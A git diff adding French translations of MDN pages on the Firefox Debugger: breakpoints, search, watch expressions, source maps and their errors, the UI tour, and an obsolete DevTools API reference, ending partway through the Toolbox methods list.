diff --git a/files/fr/tools/debugger/how_to/open_the_debugger/index.html b/files/fr/tools/debugger/how_to/open_the_debugger/index.html new file mode 100644 index 0000000000..e56cd0a53c --- /dev/null +++ b/files/fr/tools/debugger/how_to/open_the_debugger/index.html @@ -0,0 +1,20 @@ +--- +title: Ouvrir le Débogueur +slug: Outils/Débogueur/Comment/Ouvrir_le_débogueur +translation_of: Tools/Debugger/How_to/Open_the_debugger +--- +
{{ToolsSidebar}}
+ +

Il y a deux façons d'ouvrir le Débogueur :

+ +
    +
  • Sélectionner "Débogueur" dans le menu Développement qui est un sous-menu du menu Firefox.
    • +
  • +

    Utiliser le raccourci Ctrl+Maj+S sur Windows et Linux, et Cmd+Option+S sur Mac

    + +
    Note: Ce raccourci clavier ne fonctionne plus dans Firefox 66 ou plus. Il est cependant possible d'utiliser Ctrl + Maj + I (Windows/Linux), et Cmd + Opt + I (MacOS), ou F12 pour ouvrir la boite à outils et sélectionner le Débogueur.
    +
    • +
  • Utiliser le bouton menu ( new fx menu ), sélectionner "Développeur", puis "Débogueur".
    • +
+ +

{{EmbedYouTube("yI5SlVQiZtI")}}

diff --git a/files/fr/tools/debugger/how_to/pretty-print_a_minified_file/index.html b/files/fr/tools/debugger/how_to/pretty-print_a_minified_file/index.html new file mode 100644 index 0000000000..4ba2ddaf91 --- /dev/null +++ b/files/fr/tools/debugger/how_to/pretty-print_a_minified_file/index.html @@ -0,0 +1,20 @@ +--- +title: Formater et indenter un fichier minifié +slug: Outils/Débogueur/Comment/Formater_et_indenter_un_fichier_minifié +translation_of: Tools/Debugger/How_to/Pretty-print_a_minified_file +--- +
{{ToolsSidebar}}
+ +

Pour formater et indenter un fichier qui a été minifié, il faut cliquer sur cette icône : dans le panneau des source. Le Débogueur formatera la source et l'affichera dans un nouveau fichier avec un nom au format : "{ }[nom-original]".

+ +

+ +

Après un clic sur l'icone, le code source ressemble à ceci:

+ + + +

+ +
+

Note: Pour mettre en forme du code JavaScript inline, il suffit de double cliquer sur le code dans panneau de l'inspecteur.

+
diff --git a/files/fr/tools/debugger/how_to/search/index.html b/files/fr/tools/debugger/how_to/search/index.html new file mode 100644 index 0000000000..3db07016dc --- /dev/null +++ b/files/fr/tools/debugger/how_to/search/index.html @@ -0,0 +1,30 @@ +--- +title: Rechercher +slug: Outils/Débogueur/Comment/Search +translation_of: Tools/Debugger/How_to/Search +--- +
{{ToolsSidebar}}
+ +

Rechercher des fichiers

+ +

Pour rechercher un fichier en particulier, il faut utiliser le raccourci clavier Ctrl + P (ou Cmd + P sur Mac) puis écrire les termes de recherche. Le panneau des sources affichera une liste des fichiers. Il est possible d'utiliser les flèches haut et bas pour se déplacer dans la liste. La touche Entrée ouvre le fichier sélectionné :

+ +

{{EmbedYouTube("xXsfYx0THWg")}}

+ +

Rechercher dans un fichier

+ +

Pour chercher dans le fichier actuellement chargé dans le panneau des sources il faut appuyer sur Ctrl + F (ou Cmd + F sur Mac) pendant que le panneau est sélectionné. Le Débogueur affichera alors le nombre de résultats et les surlignera dans le code :

+ +

+ +

Rechercher dans tous fichiers

+ +

Il est également possible de rechercher dans une chaine dans tous les fichiers du projet actuel. Il suffit pour cela de presser Ctrl + Maj + F (Windows et Linux) or Cmd + Maj + F (macOS) puis d'entrer la chaine de caractères recherchée.

+ +

+ +

Si la chaine existe dans un des fichiers du projet, la recherche retournera une liste triée par fichier de par ligne.

+ +

+ +

Cliquer sur un élément dans la liste emmène directement dans le fichier à la ligne correspondante.

diff --git a/files/fr/tools/debugger/how_to/set_a_breakpoint/index.html b/files/fr/tools/debugger/how_to/set_a_breakpoint/index.html new file mode 100644 index 0000000000..5f0ac95129 --- /dev/null +++ b/files/fr/tools/debugger/how_to/set_a_breakpoint/index.html @@ -0,0 +1,45 @@ +--- +title: Ajouter un point d'arrêt +slug: Outils/Débogueur/Comment/Ajouter_un_point_d_arrêt +tags: + - JavaScript + - Tools +translation_of: Tools/Debugger/How_to/Set_a_breakpoint +--- +
{{ToolsSidebar}}
+ +

Il est possible de placer un point d'arrêt de trois façons différentes :

+ +
    +
  • Dans le panneau des sources, cliquer sur le numéro de la ligne où l'arrêt est désiré.
    • +
  • Dans le panneau des sources, faire un clic droit sur la ligne où l'arrêt est désiré pour ouvrir le menu contextuel puis cliquer sur "Ajouter un point d'arrêt"
    • +
  • Dans le panneau des sources, mettre la ligne ciblée en surbrillance et appuyer sur Ctrl+B (Windows/Linux) ou Command+B (Mac OS X)
    • +
+ +

Lors de l'ouverture du menu contextuel, il est possible de placer soit un point d'arrêt normal qui arrêtera l’exécution, ou bien un point d'arrêt conditionnel qui lui n’arrêtera le code que si les conditions définies sont satisfaites.

+ +

+ +

Si le point d'arrêt choisi est conditionnel, il sera possible de spécifier sa condition :

+ +

+ +

Chaque point d'arrêt est affiché à deux endroits dans le débogueur :

+ + + +

À partir de Firefox 67, il est possible d'ajouter un point d'arrêt à plusieurs endroits d'une ligne complexe (ex: une ligne avec plusieurs appels de fonction). Par exemple, dans la ligne ci-dessous, il y aura trois endroits possibles pour le point d'arrêt: au point ou la variable est assignée, au point our l'appel à parse est fait, ou à l'appel de getItem.

+ +
tasks = JSON.parse(localStorage.getItem('todoList'));
+ +

Les points d'arrêt possible sont affichés par des indicateurs. L'image suivante montre une l'image suivante affiche la ligne précédente dans le Débogueur. Lors d'un clic sur la ligne, trois indicateurs apparaissent. Par défaut le point d'arrêt est mis sur la première colonne, dans l'image, la seconde colonne à été choisie, ce qui est confirmé par le panneau de droite, la section "Breakpoints" affichant que le point est sur parse.

+ +

+ +

Ces points d'arrêt permettent de s’arrêter à plusieurs endroits sur la même ligne, dans l'exemple précédent, il aurait été possible de s’arrêter sur un, deux, ou même chaque point.

diff --git a/files/fr/tools/debugger/how_to/set_a_conditional_breakpoint/index.html b/files/fr/tools/debugger/how_to/set_a_conditional_breakpoint/index.html new file mode 100644 index 0000000000..b78dfa5a8e --- /dev/null +++ b/files/fr/tools/debugger/how_to/set_a_conditional_breakpoint/index.html @@ -0,0 +1,16 @@ +--- +title: Ajouter un point d’arrêt conditionnel +slug: Outils/Débogueur/Comment/Ajouter_un_point_d_arrêt_conditionnel +translation_of: Tools/Debugger/How_to/Set_a_conditional_breakpoint +--- +
{{ToolsSidebar}}
+ +

Un point d'arrêt normal est juste associé à une ligne : lorsque le programme arrive à cette ligne, le Débogueur s'arrête. Un point d'arrêt conditionnel possède en plus une condition associée représentée par une expression. Dans ce cas, lorsque le programme arrive à la ligne du point d'arrêt, le Débogueur ne s'arrêtera que si l'expression est évaluée à true.

+ +

{{EmbedYouTube("pVPlMhfrMwM")}}

+ +

Pour ajouter un point d'arrêt conditionnel, il faut activer le menu contextuel (clic droit) en étant sur la ligne voulue dans le panneau des sources et sélectionner « Ajouter un point d'arrêt conditionnel ». Il faut alors entrer la condition dans la pop-up qui apparait puis appuyer sur Entrée pour terminer.

+ +

les points d'arrêt conditionnels sont représentés par une flèche orange superposée au numéro de ligne.

+ +

Le menu contextuel (clic droit) de n'importe quel point d'arrêt (conditionnel ou non) possède une option "Modifier le point d'arrêt". Il est possible d'utiliser cette option pour modifier ou ajouter une condition.

diff --git a/files/fr/tools/debugger/how_to/set_watch_expressions/index.html b/files/fr/tools/debugger/how_to/set_watch_expressions/index.html new file mode 100644 index 0000000000..0ee376dc77 --- /dev/null +++ b/files/fr/tools/debugger/how_to/set_watch_expressions/index.html @@ -0,0 +1,18 @@ +--- +title: Ajouter une expression espionne +slug: Outils/Débogueur/Comment/Set_Watch_Expressions +translation_of: Tools/Debugger/How_to/Set_Watch_Expressions +--- +
{{ToolsSidebar}}
+ +

Lors d'une rude séance de débogage, il est parfois utile d'espionner des expressions lorsque le code est en pause. Le Débogueur possède un panneau pour créer des expressions espionnes. Lors du parcours du code, ces expressions seront alors surveillées de près. Et chaque changement sera affiché.

+ +

Pour créer une expression espionne, il faut d'abord ouvrir le panneau correspondant dans la partie droite du Débogueur. Puis cliquer sur "Ajouter une expression espionne". Et enfin, entrer l'expression voulue dans le champ text sélectionné :

+ +

+ +

Le Débogueur sauvegardera l'expression et l'espionnera tout au long du parcours du code. Lorsque le Débogueur rencontre un point d'arrêt, il affichera automatiquement les valeurs des expressions espionnes :

+ +

+ +

Il est possible de parcourir le code et de voir les changements des expressions. À chaque changement, le panneau sera brièvement coloré en jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de "x" à côté de celle-ci. Et bien sûr, il est possible d'avoir plusieurs expressions à la fois.

diff --git a/files/fr/tools/debugger/how_to/step_through_code/index.html b/files/fr/tools/debugger/how_to/step_through_code/index.html new file mode 100644 index 0000000000..9e3d8a3ae7 --- /dev/null +++ b/files/fr/tools/debugger/how_to/step_through_code/index.html @@ -0,0 +1,25 @@ +--- +title: Parcourir le code +slug: Outils/Débogueur/Comment/Parcourir_le_code +translation_of: Tools/Debugger/How_to/Step_through_code +--- +
{{ToolsSidebar}}
+ +

Quand le code s'arrête sur un point d'arrêt, il est possible de le parcourir pas à pas en utilisant les quatre boutons de la barre d'outils :

+ +

+ +

De gauche à droite :

+ +
    +
  • Reprendre : exécute le code jusqu'au prochain point d'arrêt
    • +
  • Passer la fonction : avance jusqu'à ligne suivante dans la même fonction
    • +
  • Entrer dans la fonction : avance jusqu'à la ligne suivante, sauf s'il y a un appel de fonction dans ce cas, le débogueur entre dans la fonction appelée
    • +
  • Sortir de la fonction : avance jusqu’à la fin de la fonction actuelle. Dans ce cas, le Débogueur reviens à l’exécution de la fonction appelante.
    • +
+ +

{{EmbedYouTube("RQBwEk0-xe0")}}

+ +

Lors d'une pause, il est possible d'appuyer sur la touche Échap afind d'ouvrir la Console pour avoir plus d'informations sur les erreurs et les variables :

+ +

diff --git a/files/fr/tools/debugger/how_to/use_a_source_map/index.html b/files/fr/tools/debugger/how_to/use_a_source_map/index.html new file mode 100644 index 0000000000..fb9c4d3c8b --- /dev/null +++ b/files/fr/tools/debugger/how_to/use_a_source_map/index.html @@ -0,0 +1,32 @@ +--- +title: Utiliser une cartographie de code source +slug: Outils/Débogueur/Comment/Utiliser_une_source_map +translation_of: Tools/Debugger/How_to/Use_a_source_map +--- +
{{ToolsSidebar}}
+ +

Les sources JavaScript exécutées par le navigateur sont souvent différentes des sources originales crées par un développeur. Par exemple :

+ +
    +
  • Les sources sont souvent combinées et minifiées afin d'optimiser le temps que met le serveur à les fournir.
    • +
  • Le JavaScript d'une page est souvent généré automatiquement. Par exemple lorsqu'il est compilé depuis un langage comme CoffeeScript ou TypeScript.
    • +
+ +

Dans ces situations, il est bien plus facile de déboguer le code dans son état original plutôt que dans celui utilisé par le navigateur. Une cartographie de code source (source map) est un fichier grâce auquel le débogueur peut faire le lien entre le code étant exécuté et les fichiers sources originaux, permettant ainsi au navigateur de reconstruire la source originale et de l'afficher dans le Débogueur.

+ +

Pour activer le débogueur, il est nécessaire de :

+ +
    +
  • générer la source map
    • +
  • inclure une instruction en commentaire dans le fichier transformé, qui pointe vers la source map. La syntaxe du commentaire est la suivante :
    • +
+ +
//# sourceMappingURL=http://exemple.com/chemin/vers/votre/sourcemap.map
+ +

{{EmbedYouTube("Fqd15gHC4Pg")}}

+ +

Dans la vidéo ci-dessus, la page https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html est utilisée. Cette page charge une source nommée "main.js" qui a été écrite en CoffeeScript puis compilée vers JavaScript. La source compilée contient le commentaire suivant qui pointe vers la source map :

+ +
//# sourceMappingURL=main.js.map
+ +

Dans le panneau des sources, du Débogueur, la source CoffeeScript originale apparait en tant que "main.coffee". Il est alors possible de la déboguer comme n'importe quelle source.

diff --git a/files/fr/tools/debugger/index.html b/files/fr/tools/debugger/index.html new file mode 100644 index 0000000000..9ad5a4fead --- /dev/null +++ b/files/fr/tools/debugger/index.html @@ -0,0 +1,57 @@ +--- +title: Débogueur +slug: Outils/Débogueur +tags: + - Debugger + - Debugging + - Dev Tools + - Firefox OS + - Tools +translation_of: Tools/Debugger +--- +
{{ToolsSidebar}}
+ +
Le débogueur JavaScript permet d'avancer pas à pas dans du code JavaScript et de l’examiner ou de le modifier, afin de retouver et de corriger les bugs.
+ +
+ +

{{EmbedYouTube("QK4hKWmJVLo")}}

+ +

Le débogueur peut fonctionner directement dans Firefox ou être utilisé à distance, par exemple sur un appareil Android utilisant Firefox pour Android. Voir le guide du débogage à distance pour apprendre à connecter le débogueur à une cible distante.

+ +

Pour vous repérer dans le débogueur, voici une courte visite guidée de l'interface utilisateur.

+ +
+

Comment ?

+ +

Pour savoir ce qu'il est possible de faire avec le débogueur, regardez les guides pratiques suivants :

+ +
+ +
+ +
+

Référence

+ +
+ +
diff --git a/files/fr/tools/debugger/keyboard_shortcuts/index.html b/files/fr/tools/debugger/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..b3d4e9b803 --- /dev/null +++ b/files/fr/tools/debugger/keyboard_shortcuts/index.html @@ -0,0 +1,12 @@ +--- +title: Raccourcis clavier +slug: Outils/Débogueur/Raccourcis_clavier +translation_of: Tools/Debugger/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+ +

Ra{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "debugger") }}

+ +

Raccourcis Généraux

+ +

{{ Page ("fr/docs/Outils/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/tools/debugger/set_an_xhr_breakpoint/index.html b/files/fr/tools/debugger/set_an_xhr_breakpoint/index.html new file mode 100644 index 0000000000..30e6bfd813 --- /dev/null +++ b/files/fr/tools/debugger/set_an_xhr_breakpoint/index.html @@ -0,0 +1,31 @@ +--- +title: Set an XHR breakpoint +slug: Outils/Débogueur/Set_an_XHR_breakpoint +translation_of: Tools/Debugger/Set_an_XHR_breakpoint +--- +

{{ToolsSidebar}}

+ +

Un point d'arrêt XHR (XMLHttpRequest) interrompt l'exécution du code lorsqu'une requête XHR est envoyée afin de pouvoir examiner l'état du programme.
+ Pour activer ce point d'arrêt, il faut une fois le Débogueur ouvert :

+ +
    +
  1. Soit cliquer sur "Arrêt à chaque URL" ce qui interrompt l'exécution à chaque requête.
    2. +
  2. Soit cliquer sur l’icône en forme de "+" a droite du titre "Points d'arrêt XHR" et rentrer l'URL de la requête sur laquelle interruption est voulue, puis valider avec Entrée.
    3. +
+ +
+

Note: Si un mot clé est entré au lieu d'une URL, alors l'exécution s’arrêtera sur tout appel à une URL contenant ce mot clé.

+
+ +

+ +

Lorsque le code s’interrompt sur une requête XHR, le panneau droit aura deux sections additionnelles :

+ +
+
Pille d'appel
+
Cette section liste les fonctions qui ont été exécutés avant d'arriver au code actuel. Cliquer sur un élément de cette liste sautera à la ligne associée dans la fenêtre du code.
+
Portées
+
Cette section liste les valeurs présentes dans la portée de la fonction, méthode, ou gestionnaire d'évènement, dans lequel le point d'arrêt s'est activé.
+
+ +

diff --git a/files/fr/tools/debugger/source_map_errors/index.html b/files/fr/tools/debugger/source_map_errors/index.html new file mode 100644 index 0000000000..dba0164fa6 --- /dev/null +++ b/files/fr/tools/debugger/source_map_errors/index.html @@ -0,0 +1,61 @@ +--- +title: Erreurs des source map +slug: Outils/Débogueur/Source_map_errors +translation_of: Tools/Debugger/Source_map_errors +--- +
{{ToolsSidebar}}
+ +

Les Source maps sont des fichiers JSON permettant d'associer les sources transformées (minifiés, combinés, générées) lues par le navigateur, à leurs fichiers source originels. Il est parfois possible d'avoir des problèmes avec les sources map. Cette page présente les plus communs d'entre eux ainsi que des solutions pour les corriger.

+ +
+

Note: En cas d'infamiliarité avec les source map, il est possible d'en apprendre plus ici : Utiliser une source map.

+
+ +

Gestion d'erreurs des source map

+ +

Dès lors qu'une erreur arrive, un message apparaitra dans la Console. Le message affichera le message d'erreur, l'URL de la ressource, et l'URL de la source map :

+ +

Error from invalid JSON

+ +

Ici, l'URL de la ressource URL indique que bundle.js mentionne une source map, et l'URL de la source map montre ou trouver la source map en elle-même (avec un chemin relatif à la ressource). L'erreur indique que la source map n'est pas un JSON valide.

+ +

Il y a quelques erreurs fréquentes qui reviennent avec les sources map. Elles sont décrites dans les sections suivantes.

+ +

La source map est inexistante ou inaccessible

+ +

Source map file is missing

+ +

La solution ici est de vérifier que le fichier est bien accessible par le navigateur (le fichier existe, et l'URL est bonne).

+ +

Source map invalide

+ +

Le code de la source map data peut être invalide. Soit parce que ce n'est tout simplement pas un fichier JSON, soit parce qu'il est mal formaté. Les messages d'erreurs typiques sont:

+ +
    +
  • SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data
    • +
  • Error: "version" is a required argument
    • +
+ +

Error: "version" is a required argument

+ +

Source originale manquante

+ +

Une source originale peut manquer. Il est possible d'avoir cette erreur en tentant d'ouvrir une source originale dans le Débogueur. Le message est un peu différent dans ce cas :

+ +

Debugger source tab showing the error

+ +

Ici, l'erreur sera également affichée dans l'onglet source du Débogueur :

+ +

Debugger source tab showing the error

+ +

NetworkError lors de la récupération d'une ressource

+ +

Un bug dans Firefox l’empêche de charger les sources maps des extensions web.

+ +

Voir le Bug 1437937: WebExtensions Doesn't Find Source Maps pour plus de détails.

+ +
Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource.
+ Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js
+ Source-Map-Adresse: background.js.map
+ +

Le seule workaround est de changer manuellement l'URL de la map pour la rendre publique (http://localhost:1234/file.map.js) et de lancer un serveur web local sur ce port.

diff --git a/files/fr/tools/debugger/ui_tour/index.html b/files/fr/tools/debugger/ui_tour/index.html new file mode 100644 index 0000000000..44c25e1835 --- /dev/null +++ b/files/fr/tools/debugger/ui_tour/index.html @@ -0,0 +1,125 @@ +--- +title: Visite guidée de l'interface utilisateur +slug: Outils/Débogueur/Visite_guidée_de_l_interface_utilisateur +translation_of: Tools/Debugger/UI_Tour +--- +
{{ToolsSidebar}}
+ +

Cet article est une visite guidée des principales sections de l'interface utilisateur du Débogueur JavaScript. Cette interface est séparée en trois panneaux :

+ + + +

+ +

Panneau de la liste des sources

+ +

Le panneau de la liste des sources liste tous les fichiers sources JavaScript qui sont chargés dans la page, et permet d'en sélectionner un pour le déboguer. Les sources sont triées par origine, puis organisées selon la structure de dossier depuis lesquels elles sont chargées.

+ +

+ +

Il est possible de rechercher un fichier en utilisant le raccourci clavier Ctrl + P (Cmd + P sur Mac).

+ +

Depuis Firefox 69 les extensions Web sont listés en utilisant le nom de l'extension plutôt que son identifiant.

+ +

+ +

Il est possible de simplifier la liste des fichiers dans la liste des sources avec un clic droit sur un dossier, et une sélection de "définir comme répertoire racine".

+ +

+ +

Maintenant, la racine de la liste des sources est la racine du projet, rendant ainsi la navigation bien plus pratique.

+ +

+ +

Onglet Structure

+ +

L'onglet structure affiche un arbre pour naviguer dans le fichier ouvert. Il permet de se placer directement dans une fonction, une classe, ou une méthode.

+ +

Panneau des sources

+ +

Ce panneau affiche le fichier JavaScript actuellement chargé.

+ +

+ +

Lorsque le panneau des sources est sélectionné, il est possible de rechercher une string dans le fichier en utilisant  Ctrl + F (Cmd + F sur Mac).

+ +

Les points d'arrêt ont une flèche bleue superposée au numéro de ligne. Les points d'arrêt conditionnels ont eux une flèche orange. Si le code est arrêté à un point d'arrêt, la flèche est surchargée de vert. Dans la capture d'écran ci-dessous, il y a trois points d'arrêt :

+ +
    +
  • La ligne 82 a un point d'arrêt normal et le Débogueur est arrêté dessus.
    • +
  • La ligne 85 a un point de sortie console qui affiche le contenu de tableRow dans la console.
    • +
  • La ligne 100 a un point d'arrêt conditionnel.
    • +
+ +

+ +

La troisième colonne affiche d'avantage d'informations sur les point d'arrêt. Par exemple le point de sortie console ligne 85 affiche la valeur de tableRow dans la console, et le point d'arrêt conditionnel à la ligne 100 a pour condition que todolist soit undefined.

+ +

Barre d'outils

+ +

La barre d'outils est située en haut du panneau de droite :

+ +

+ +

Cette barre est composée de :

+ +
    +
  • Quatre boutons pour contrôler le mouvement du Débogueur à travers le script : + +
      +
    • Pause/Reprendre(F8) : met en pause ou reprend l’exécution du script en débogage. Lorsque ce bouton est en forme de "reprendre" cela veut dire que le script est en pause, soit parce que vous avez appuyé sur le bouton soit parce que le code est arrivé sur un point d'arrêt.
      • +
    • Passer la fonction (F10) : Passe à la ligne de JavaScript suivante.
      • +
    • Entrer dans la fonction (F11) : Entre dans la fonction appelée par la ligne de JavaScript actuelle si appel il y a. sinon, passe à la ligne suivante.
      • +
    • Sortir de la fonction (Shift-F11): Fait tourner le code jusqu’à sortir de la fonction actuelle.
      • +
    +
    • +
  • Un bouton pour désactiver tous les points d'arrêt.
    • +
+ +

Liste des points d'arrêt

+ +

Sous la barre d'outils, se trouve une liste de tous les points d'arrêt. À côté de chaque point, il y a une case à cocher qui permet d'activer/désactiver le point d'arrêt :

+ +

+ +

Expressions espionnes

+ +

Il est possible d'ajouter des expressions espionnes dans la barre de droite. Celles-ci seront évaluées lorsque le code est en pause :

+ +

+ +

Infobulle de variable

+ +

Survoler une variable dans le code source affichera une infobulle contentant sa valeur :

+ +

+ +

Pile d'exécution (call stack)

+ +

Lorsque le Débogueur est en pause, une pile d'exécution est affichée :

+ +

+ +

Chaque niveau de la pile à sa propre ligne, avec le nom de la fonction, le nom de fichier, et le numéro de ligne. Cliquer sur cette ligne ouvre la source dans le panneau des sources.

+ +

Portées

+ +

Dans le panneau de droite, se trouve un élément nommé "Portées". Lorsque le Débogueur est arrêté, il est possible d'étendre cette section pour afficher tous les objets qui sont dans la portée du programme en ce point :

+ +

+ +

Les objets sont triés par portée : du plus local au plus global (Window dans la plupart des scripts de page web).

diff --git a/files/fr/tools/devtoolsapi/index.html b/files/fr/tools/devtoolsapi/index.html new file mode 100644 index 0000000000..0fba8241f1 --- /dev/null +++ b/files/fr/tools/devtoolsapi/index.html @@ -0,0 +1,835 @@ +--- +title: DevTools API +slug: Outils/DevToolsAPI +translation_of: Tools/DevToolsAPI +--- +

{{ToolsSidebar}}{{Obsolete_Header}}

+ +
+

Warning:("L'API des outils de développement est en cours de développement. Si vous rencontrez des incohérences, merci de les signaler à l'équipe des outils de développement de Firefox.")

+
+ +

Bien que cette api soit toujours en développement, il existe des parties de l'Inspecteur et du Debogueur qui sont d’ores et déjà utilisable.

+ + + +

Introduction

+ +

L'API des outils de développements fournit une manière d'enregistrer et d'accéder aux outils de développement dans Firefox.

+ +

En terme d'interface utilisateur, chaque outil enregistré existe dans son propre onglet (Appelé également panneau). Ces onglets sont situés dans une boîte appelée Boite à outils. Une boîte à outils peut être hébergée dans un navigateur (en bas ou sur le coté) ou peut être dans propre fenêtre (la boîte à outils est alors dite détachée). Une boîte à outils (et tous les outils qu'elle contient) est reliée à une Cible qui est l'objet que les outils sont en train de déboguer. Une cible le plus souvent une page web (un onglet), mais peut être autre chose, comme une fenêtre chrome un onglet distant.

+ +

En terme de code, chaque outil doit fournir un objet ToolDefinition. Une définition est un objet JS léger qui fournit différentes informations sur l'outil (par exemple son nom et son icône), ainsi qu'une méthode build qui sera utilisée plus tard pour lancer une instance de cet outil. L'objet global gDevTools fournit des méthodes pour enregistrer une définition d'outil et pour accéder aux instances d'outils. Une instance d'outil est appelée un ToolPanel. Le ToolPanel est construit seulement lorsque l'outil est sélectionné (non pas quand la boîte à outils est ouverte). Il n'y a aucun mayen de "fermer/détruire" un ToolPannel. La façon de fermer un ToolPanel est de fermer la boîte à outils qui le contient. Tous les objets sus-mentionnés implémentent l'interface EventEmitter.

+ +

API

+ +

gDevTools

+ +

The gDevTools API can be used to register new tools, themes and handle toolboxes for different tabs and windows. To use the gDevTools API from an add-on, it can be imported with following snippet

+ +
const { gDevTools } = require("resource:///modules/devtools/gDevTools.jsm");
+ +

Methods

+ +
+
+
registerTool(toolDefinition)
+
+
Registers a new tool and adds a tab to each existing toolbox.
+
Parameters:
+ toolDefinition {ToolDefinition} - An object that contains information about the tool. See {{anch("ToolDefinition")}} for details.
+
+
unregisterTool(tool)
+
+
Unregisters the given tool and removes it from all toolboxes.
+
Parameters:
+ tool {ToolDefinition|String} - The tool definition object or the id of the tool to unregister.
+
+
registerTheme(themeDefinition)
+
+
Registers a new theme.
+
Parameters:
+ themeDefinition {ThemeDefinition} - An object that contains information about the theme.
+
+
unregisterTheme(theme)
+
+
Unregisters the given theme.
+
+ Parameters:
+ theme {ThemeDefinition|String} - The theme definition object or the theme identifier.
+
+
showToolbox(target [, toolId [, hostType [, hostOptions]]])
+
+
Opens a toolbox for given target either by creating a new one or activating an existing one.
+
Parameters:
+ target {Target} - The target the toolbox will debug.
+ toolId {String} - The tool that should be activated. If unspecified the previously active tool is shown.
+ hostType {String} - The position the toolbox will be placed. One of bottom, side, window, custom. See {{anch("HostType")}} for details.
+ hostOptions {Object} - An options object passed to the selected host. See {{anch("HostType")}} for details.
+
Return value:
+ A {{domxref("Promise")}} that is fulfilled with the {{anch("Toolbox")}} instance once it has been initialized and the selected tool is loaded.
+
+
getToolbox(target)
+
+
Fetch the {{anch("Toolbox")}} object for the given target.
+
+ Parameters:
+ target {Target} - The target the toolbox is debugging.
+
+ Return value:
+ {{anch("Toolbox")}} object or undefined if there's no toolbox for the given target..
+
+
closeToolbox(target)
+
+
Closes the toolbox for given target.
+
Parameters:
+ target {Target} - The target of the toolbox that should be closed.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled once the toolbox has been destroyed.
+
+
getDefaultTools()
+
+
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for the built-in tools.
+
+
getAdditionalTools()
+
+
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for tools added by addons.
+
+
getToolDefinition(toolId)
+
+
Fetch the {{anch("ToolDefinition")}} object for a tool if it exists and is enabled.
+
+ Parameters:
+ toolId {String} - The ID of the tool.
+
Return value:
+ A {{anch("ToolDefinition")}} if a tool with the given ID exists and is enabled, null otherwise.
+
+
getToolDefinitionMap()
+
+
Returns a toolId → {{anch("ToolDefinition")}} map for tools that are enabled.
+
+
getToolDefinitionArray()
+
+
Returns an {{jsxref("Array")}} of {{anch("ToolDefinition")}} objects for enabled tools sorted by the order they appear in the toolbox.
+
+
getThemeDefinition(themeId)
+
+
Fetch the ThemeDefinition object for the theme with the given id.
+
+ Parameters:
+ themeId {String} - The ID of the theme.
+
Return value:
+ A ThemeDefinition object if the theme exists, null otherwise.
+
+
getThemeDefinitionMap()
+
+
Returns a toolId → ThemeDefinition map for available themes.
+
+
getThemeDefinitionArray()
+
+
Returns an {{jsxref("Array")}} of ThemeDefinition objects for avialble themes.
+
+ +

Events

+ +

Following events are emitted by the gDevTools object via the {{anch("EventEmitter")}} interface.

+ +
+
+
tool-registered(toolId)
+
+
A new tool has been registered.
+
+
tool-unregistered(tool)
+
+
A tool has been unregistered. The parameter is a {{anch("ToolDefinition")}} object.
+
+
theme-registered(themeId)
+
+
A new theme has been registered.
+
+
theme-unregistered(theme)
+
+
A theme has been unregistered. The parameter is a ThemeDefinition object.
+
+
toolbox-ready(toolbox)
+
+
A new toolbox has been created and is ready to use. The parameter is a {{anch("Toolbox")}} object instance.
+
+
toolbox-destroy(target)
+
+
The toolbox for the specified target is about to be destroyed.
+
+
toolbox-destoyed(target)
+
+
The toolbox for the specified target has been destroyed.
+
+
{toolId}-init(toolbox, iframe)
+
+
A tool with the given ID has began to load in the given toolbox to the given frame.
+
+
{toolId}-build(toolbox, panel)
+
+
A tool with the given ID has began to initialize in the given toolbox. The panel is the object returned by the ToolDefinition.build() method.
+
+
{toolId}-ready(toolbox, panel)
+
+
A tool with the given ID has finished its initialization and is ready to be used. The panel is the object returned by the ToolDefinition.build() method.
+
+
{toolId}-destroy(toolbox, panel)
+
+
A tool with the given ID is about to be destroyed. The panel is the object returned by the ToolDefinition.build() method.
+
+ +

Toolbox

+ +

A Toolbox is a frame for the {{anch("ToolPanel", "ToolPanels")}} that is debugging a specific target.

+ +

Properties

+ +
+
+
target
+
+
Target. The Target this toolbox is debugging.
+
+
hostType
+
+
Toolbox.HostType. The type of the host this Toolbox is docked to. The value is one of the Toolbox.HostType constants.
+
+
zoomValue
+
+
The current zoom level of the Toolbox.
+
+ +

Constants

+ +

The Toolbox constructor contains following constant properties.

+ +
+
+
Toolbox.HostType.BOTTOM
+
+
Host type for the default toolbox host at the bottom of the browser window.
+
+
Toolbox.HostType.SIDE
+
+
Host type for the host at the side of the browser window.
+
+
Toolbox.HostType.WINDOW
+
+
Host type for the separate Toolbox window.
+
+
Toolbox.HostType.CUSTOM
+
+
Host type for a custom frame host.
+
+ +

Methods

+ +
+
+
getCurrentPanel()
+
+
Get the currently active {{anch("ToolPanel")}}.
+
+ Return value:
+ The {{anch("ToolPanel")}} object that was returned from {{anch("build(window_toolbox)", "ToolPanel.build()")}}.
+
+
getPanel(toolId)
+
+
Get the {{anch("ToolPanel")}} for given tool.
+
+ Parameters:
+ toolId {String} - The tool identifier.
+
+ Return value:
+ The {{anch("ToolPanel")}} object if the tool with the given toolId is active, otherwise undefined.
+
+
getPanelWhenReady(toolId)
+
+
Similar to getPanel() but waits for the tool to load first. If the tool is not already loaded or currently loading the returned {{domxref("Promise")}} won't be fulfilled until something triggers the tool to load.
+
+ Parameters:
+ toolId {String} - The tool identifier.
+
+ Return value:
+ A {{domxref("Promise")}} that is fulfilled with the {{anch("ToolPanel")}} object once the tool has finished loading.
+
+
getToolPanels()
+
+
Returns a toolId → {{anch("ToolPanel")}} {{jsxref("Map")}} for currently loaded tools.
+
+
getNotificationBox()
+
+
Returns a {{ XULElem("notificationbox") }} element for the Toolbox that can be used to display notifications to the user.
+
+
loadTool(toolId)
+
+
Loads the tool with the given toolId in the background but does not activate it.
+
+ Parameters:
+ toolId {String} - The tool identifier.
+
+ Return value:
